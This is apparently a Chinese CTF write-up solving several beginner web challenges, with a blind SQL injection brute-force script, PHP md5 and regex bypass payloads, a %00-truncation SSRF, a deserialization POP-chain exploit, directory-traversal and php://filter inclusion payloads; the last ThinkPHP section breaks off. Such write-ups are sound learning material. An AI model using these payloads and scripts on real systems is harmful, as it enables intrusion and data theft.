比较基础的一些web题④
[CISCN 2019华北Day2]Web1 Hack World 打开页面是一个查询界面,提示找到flag表和flag列 测试一下
1 2 3 1 //正常回显:Hello, glzjin wants a girlfriend. 1' //显示:bool(false),则判断类型为布尔盲注 1' and 1=1# //显示SQL Injection Checked,应该是过滤了什么东西,经过测试是过滤了and和空格
布尔盲注 先来了解些布尔盲注相关的常用的函数
1 2 3 4 5 6 7 8 9 10 11 12 13 (1)length:返回值为字符串的字节长度 (2)ascii:把字符转换成ascii码值的函数 (3)substr(str, pos, len):在str中从pos开始的位置(起始位置为1),截取len个字符 例如: substr(abcd,1,1) 从第一位开始(也就是从a开始)截取一个字符,就是a substr(abcd,2,1) 从第二位开始,截取一个字符,就是b substr(abcd,2,3) 从第二位开始,截取三个字符,就是bcd (4)count:统计表中记录的一个函数,返回匹配条件的行数 (5)limit: limit m :检索前m行数据,显示1-10行数据(m>0)
异或绕过 这里我们可以使用异或来代替or 输入
1 2 3 4 5 6 7 0^(ascii(substr((select(flag)from(flag)),1,1))>1) //正常回显] /* 大概在这里应用就是假^假 =真 ,真^真=假,假^真=真,真^假=真 当我们查询 1^0、0^1、和 1 的回显是一样的,而查询 1^1 或0^0却会有报错提示。 所以结合 sql语句 ,我们可以构造0^payload,若为payload结果真,则返回1,0^1=1,将得到查询id=1时的结果,回显Hello, glzjin wants a girlfriend。 */
然后我们再用下面的脚本去爆破即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import requests import time url = "http://node2.anna.nssctf.cn:28491/index.php" payload = { "id" : "" } result = "" for i in range(1,100): l = 33 r =130 mid = (l+r)>>1 while(l<r): payload["id"] = "0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid) html = requests.post(url,data=payload) print(payload) if "Hello" in html.text: l = mid+1 else: r = mid mid = (l+r)>>1 if(chr(mid)==" "): break result = result + chr(mid) print(result) print("flag: " ,result)
还有一个if方法的脚本也可以用来爆破(这个我试了感觉更快)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import string import requests res="" url="http://node2.anna.nssctf.cn:28998/index.php" for i in range(1,60): for j in string.printable: sql='if(ascii(substr((select(flag)from(flag)),{0},1))={1},1,2)'.format(i,ord(j)) post={"id":sql} result=requests.post(url=url,data=post) if 'Hello' in result.text: res+=j print(res) else: continue
NSSCTF{2365c1ca-eebc-4940-ad05-a397b1ca75a7}
[NSSCTF 2022 Spring Recruit]babyphp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php highlight_file(__FILE__); include_once('flag.php'); if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a'])){ if(isset($_POST['b1'])&&$_POST['b2']){ if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2'])){ if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2'])){ echo $flag; }else{ echo "yee"; } }else{ echo "nop"; } }else{ echo "go on"; } }else{ echo "let's get some php"; } ?> let's get some php
intval()函数 — 获取变量的整数值is_string() 函数用于检测变量是否是字符串
正则无数字绕过 这里要求我们传5个参数,参数a的正则绕过可以用数组,preg_match只能处理字符串,当传入的参数是数组时会返回false,md5强比较也可以用数组绕过。
md5强比较和弱比较 c1和c2要求必须是字符串类型,而且还有个md5的弱比较,则用md5加密之后为0e开头识别为科学计数法结果均为0绕过
1 2 #payload: a[]=0&b1[]=1&b2[]=2&c1=QNKCDZO&c2=s878926199a
[GDOUCTF 2023]EZ WEB 首先点开没有什么信息,用dirsearch来扫描一波 发现目录/src
app.py
内容如下
put传参 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import flask app = flask.Flask(__name__) @app.route('/', methods=['GET']) def index(): return flask.send_file('index.html') @app.route('/src', methods=['GET']) def source(): return flask.send_file('app.py') @app.route('/super-secret-route-nobody-will-guess', methods=['PUT']) def flag(): return open('flag').read()
这里主要考个put传参,抓包改一下就可以了
[GKCTF 2020]cve版签到 打开界面,点击链接,显示的是index.html文件上传之后的http响应头 抓包看到了提示
ssrf+%00截断 flag在本地而且必须要以123结尾 跳转之后的url框显示 1 http://node4.anna.nssctf.cn:28342/?url=http://www.ctfhub.com
这里去搜索这个cve漏洞
cve-2020-7066漏洞: PHP 7.2.29之前的7.2.x版本、 7.3.16之前的7.3.x版本、 7.4.4之前的7.4.x版本中的 ‘get_headers()’函数存在安全漏洞。可以 ⽤来绕WAF,SSRF利⽤。 get_headers() 返回⼀个数组,包含有服务器响应⼀个 HTTP 请求所发送的标头。 这个函数会截断00后的内容,所以读取到的url为http://localhost
这里用00截断去绕过
00截断
00截断包括%00截断和0x00截断
0x00是⼗六进制表示⽅法,是在ascii码中为0的字符,有些函数会将0x00当做结束符,从⽽进⾏⽂件上传的绕过
在url⾥⾯,get传⼊的%00会经过⼀次解码,解码为0x00,发挥截断作⽤。
所以最后的payload为
1 ?url=http://127.0.0.123%00www.ctfhub.com
[HNCTF 2022 Week1]2048 前端js命令执行 在F12里,找到游戏结束之前的那一串alert,然后放到控制台执行一下
1 alert(String.fromCharCode(24685,21916,33,102,108,97,103,123,53,51,49,54,48,99,56,56,56,101,50,53,99,51,102,56,50,56,98,50,51,101,51,49,54,97,55,97,101,48,56,51,125));
即可得到flag
[NISACTF 2022]popchains 反序列化+php伪协议 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 Happy New Year~ MAKE A WISH <?php echo 'Happy New Year~ MAKE A WISH<br>'; if(isset($_GET['wish'])){ @unserialize($_GET['wish']); } else{ $a=new Road_is_Long; highlight_file(__FILE__); } /***************************pop your 2022*****************************/ class Road_is_Long{ public $page; public $string; public function __construct($file='index.php'){ $this->page = $file; } public function __toString(){ return $this->string->page; } public function __wakeup(){ if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) { echo "You can Not Enter 2022"; $this->page = "index.php"; } } } class Try_Work_Hard{ protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } } class Make_a_Change{ public $effort; public function __construct(){ $this->effort = array(); } public function __get($key){ $function = $this->effort; return $function(); } } /**********************Try to See flag.php*****************************/
遇到反序列化的题,首先进行一下代码审计,利用的点应该是Try_Wirk_Hard类里的include()文件包含,之后就到了invoke()魔术方法,__invoke()
当脚本尝试将对象调用为函数时触发 之后我们看到Make_a_Change的类中的__get()
方法,__get
魔术方法 是当访问一个类中的属性不存在或者private 的时候会被调用 在 Road_is_Long类中,如下代码就会访问其page 属性,而其类中没有此方法,则会调用__get()
1 2 3 public function __toString(){ return $this->string->page; }
__toString(),类被当成字符串时触发 ,那我们看到__wakeup(),如果$page 是一个对象,那么进入正则 $this->page 当做了字符串去匹配了。也就触发了 __toString 所以有下面的exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php class Road_is_Long{ public $page; public $string; } class Try_Work_Hard{ protected $var = 'file:///flag'; //给var赋值,然后__invoke调用append,再赋值给value执行} } class Make_a_Change{ public $effort; } $qw = new Road_is_Long(); //return一个对象,就相当于把page当作字符串,所以调用了__toString() $qw -> page = $qw; //string来new了get所在的类,return $this->string->page,但是get所在的类里没有page属性,所以调用了get $qw -> string = new Make_a_Change; //把effort用来new了一个对象,并且把对象return为函数形式,所以带你用了invoke,触发了include $qw -> string -> effort = new Try_Work_Hard; $wy = urlencode(serialize($qw)); echo($wy);
1 ?wish=O%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3Br%3A1%3Bs%3A6%3A%22string%22%3BO%3A13%3A%22Make_a_Change%22%3A1%3A%7Bs%3A6%3A%22effort%22%3BO%3A13%3A%22Try_Work_Hard%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A12%3A%22file%3A%2F%2F%2Fflag%22%3B%7D%7D%7D
[HCTF 2018]Warmup 访问source.php
查看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 <?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; if (! isset($page) || !is_string($page)) { echo "you can't see it"; return false; } if (in_array($page, $whitelist)) { return true; } $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false; } } if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; exit; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; } ?>
第一段代码提示我们白名单有source.php和hint.php,所以我们也访问一下hint.php看看
1 flag not here, and flag in ffffllllaaaagggg
提示了flag的文件名
正则绕过 代码先判定了传⼊的是不是空或者是不是字符串,然后进⾏了三次⽩名单判断。in_array()函数
如果search参数是字符串且type参数被设置为 TRUE,则搜索区分⼤⼩写。type 如果第三个参数设置为 true,函数只有在元素存在于数组中且数据类型与给定值相同时才返回 true。如 果没有在数组中找到参数,函数返回 falsemb_substr()函数
mb_strpos()函数
mb_strpos():返回要查找的字符串在别⼀个字符串中⾸次出现的位置。 所以这里要求我们传入的参数file,要含有白名单里的字符串 所以有
目录穿越 1 2 3 ?file=hint.php?../../../../../../../../../../../ffffllllaaaagggg //或者 ?file=source.php?../../../../../../../../../../../ffffllllaaaagggg
[HNCTF 2022 Week1]Interesting_include 1 2 3 4 5 6 7 8 9 10 11 12 13 <?php //WEB手要懂得搜索 //flag in ./flag.php if(isset($_GET['filter'])){ $file = $_GET['filter']; if(!preg_match("/flag/i", $file)){ die("error"); } include($file); }else{ highlight_file(__FILE__); }
这里匹配flag文件,如果没有匹配到flag,则会退出输出error
filter伪协议
php://filter
伪协议可以用于如下函数: include() file()file_get_contents () readfile() file_put_contents() 可以用于读取、写入文件等函数,
payload为:
1 /?filter=php://filter/read=convert.base64-encode/resource=flag.php
[SWPUCTF 2022 新生赛]ez_rce 照常,扫一下 扫出来蛮多路径的,访问一下/robots.txt
然后得到路径/NSS/index.php/
然后发现是thinkphp5
这个版本,然后去网上搜下这个版本的rce漏洞 搜到这篇文章